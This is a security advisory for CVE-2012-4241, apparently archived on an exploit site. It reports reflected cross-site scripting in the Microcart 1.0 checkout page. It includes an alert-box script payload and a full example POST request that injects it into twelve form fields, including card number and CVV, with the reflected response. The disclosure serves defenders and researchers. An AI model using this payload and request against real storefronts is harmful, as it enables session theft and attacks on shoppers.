what you don't know can hurt you

Microcart 1.0 Checkout Cross Site Scripting

Microcart 1.0 Checkout Cross Site Scripting
Posted Sep 20, 2012
Authored by Joseph Sheridan, Chris Cooper | Site reactionpenetrationtesting.co.uk

Microcart version 1.0 Checkout suffers from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
advisories | CVE-2012-4241
MD5 | 148e5a7af66b955b6628ca08a2f63db4

Microcart 1.0 Checkout Cross Site Scripting

Change Mirror Download
/-------------------------------------------------------------------\
| Microcart 1.0 Checkout Cross-Site Scripting Security Vulnerability |
\-------------------------------------------------------------------/


Summary
=======

Microcart 1.0 is subject to several cross-site scripting vulnerabilities. Multiple POST parameters on the /checkout.php page were found to be subject to a cross-site scripting vulnerability. It was possible to inject arbitrary Javascript into a POST request. This code is then passed into the page content without sanitisation, and executed by the browser. The following parameters are affected: first_name, last_name, cc, exp, cvv, address1, address2, city, state, zip, phone and email. Injecting the following Javascript code into any of the affected parameters on the /checkout.php page will trigger the vulnerability, causing the page to return a Javascript alert box.

CVE number: CVE-2012-4241
Impact: Medium
Vendor homepage: http://microcart.sourceforge.net/
Vendor notified: 23/07/2012
Vendor resonse: This package is no longer being maintained and has subsequently been removed from sourceforge.net
Credit: Chris Cooper and Joseph Sheridan of ReactionIS (http://www.reactionis.co.uk/)

This advisory is posted at:

http://www.reactionpenetrationtesting.co.uk/microcart-checkout-xss.html


Affected Products
======== ========

Microcart 1.0.


Details
=======



/checkout.php
-------------

Multiple POST parameters on the /checkout.php page were found to be subject to a cross-site scripting vulnerability. It was possible to inject arbitrary Javascript into a POST request. This code is then passed into the page content without sanitisation, and executed by the browser. The following parameters are affected:
first_name, last_name, cc, exp, cvv, address1, address2, city, state, zip, phone, email

Injecting the following Javascript code into any of the affected parameters on the /checkout.php page will trigger the vulnerability, causing the page to return a Javascript alert box.

<script>alert('xsstest')</script>

Example Request:

POST /microcart/checkout.php HTTP/1.1
Host: 192.168.0.6
Referer: https://192.168.0.6/microcart/checkout.php
Cookie: PHPSESSID=2df3a1bb0sh1eka0nbte6u59e7
Content-Type: application/x-www-form-urlencoded
Content-Length: 503

order_confirm=true&first_name=<script>alert('xsstest')</script>&last_name=<script>alert('xsstest')</script>&cc=<script>alert('xsstest')</script>&exp=<script>alert('xsstest')</script>&cvv=<script>alert('xsstest')</script>&address1=<script>alert('xsstest')</script>&address2=<script>alert('xsstest')</script>&city=<script>alert('xsstest')</script>&state=<script>alert('xsstest')</script>&zip=<script>alert('xsstest')</script>&phone=<script>alert('xsstest')</script>&email=<script>alert('xsstest')</script>

Example Response:

--- SNIP ---
<tr>
<th>First Name:</th>
<td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td>
</tr>
<tr>
<th>Last Name:</th>
<td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td>
</tr>
<th>Credit Card Number:</th>
<td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td>
</tr>
<tr>
<th>Exp. Date (MMYY):</th>
<td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td>
</tr>
<tr>
<th>CVV2/CVC2 Number:<br />(Security code on back)</th>
<td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td>
</tr>
</table>
</td><td>
<table>
<tr>
<th>Street Number:</th>
<td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td>
</tr>
<tr>
<th>Address:</th>
<td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td>
</tr>
<tr>
<th>City:</th>
<td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td>
</tr>
<tr>
<th>State:</th>
<td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td>
</tr>
<tr>
<th>ZIP Code:</th>
<td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td>
</tr>
<tr>
<th>Phone Number:</th>
<td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td>
</tr>
<tr>
<th>Email Address:</th>
<td><input type="hidden" name="email" value="<script>alert('xsstest')</script>" /><script>alert('xsstest')</script></td>
</tr>
--- SNIP ---




Impact
======

An attacker might entice users to follow a malicious URL, or visit a malicious page that submits arbitrary code to a Microcart application. If they do so, Javascript code might execute in their browser, potentially stealing session cookies or downloading malware onto their machine.


Solution
========

The affected product is not under active development and, at the time of writing, no patch has been released by the vendor.


Distribution
============

In addition to posting on the website, a text version of this notice has been posted to the following e-mail and Usenet news recipients.

* bugtraq () securityfocus com
* full-disclosure () lists grok org uk

Future updates of this advisory, if any, will be placed on the ReactionIS corporate website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the URL below for any updates:


http://www.reactionpenetrationtesting.co.uk/microcart-checkout-xss.html

==============================================================================

Reaction Information Security
Lombard House Business Centre,
Suite 117,
12-17 Upper Bridge Street,
Canterbury, Kent, CT1 2NF

Phone: +44 (0)1227 785050
Email: research () reactionis {dot} co {dot} uk
Web: http://www.reactionpenetrationtesting.co.uk


Joseph Sheridan
Director
CHECK Team Leader, CREST Infrastructure, CREST Application, CISSP
Tel: 07812052515
Web: www.reactionis.com
Email: joe@reactionis.co.uk

Reaction Information Security Limited.
Registered in England No: 6929383
Registered Office: 1, The Mews, 69 New Dover Road, Canterbury, CT1 3DZ

This email and any files transmitted with it are confidential and are intended solely for the use of the individual to whom they are addressed. If you are not the intended recipient please notify the sender. Any unauthorised dissemination or copying of this email or its attachments and any use or disclosure of any information contained in them, is strictly prohibited.

 Please consider the environment before printing this email


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    15 Files
  • 2
    Oct 2nd
    16 Files
  • 3
    Oct 3rd
    15 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    11 Files
  • 6
    Oct 6th
    6 Files
  • 7
    Oct 7th
    2 Files
  • 8
    Oct 8th
    1 Files
  • 9
    Oct 9th
    13 Files
  • 10
    Oct 10th
    16 Files
  • 11
    Oct 11th
    15 Files
  • 12
    Oct 12th
    23 Files
  • 13
    Oct 13th
    13 Files
  • 14
    Oct 14th
    12 Files
  • 15
    Oct 15th
    2 Files
  • 16
    Oct 16th
    16 Files
  • 17
    Oct 17th
    16 Files
  • 18
    Oct 18th
    14 Files
  • 19
    Oct 19th
    8 Files
  • 20
    Oct 20th
    7 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close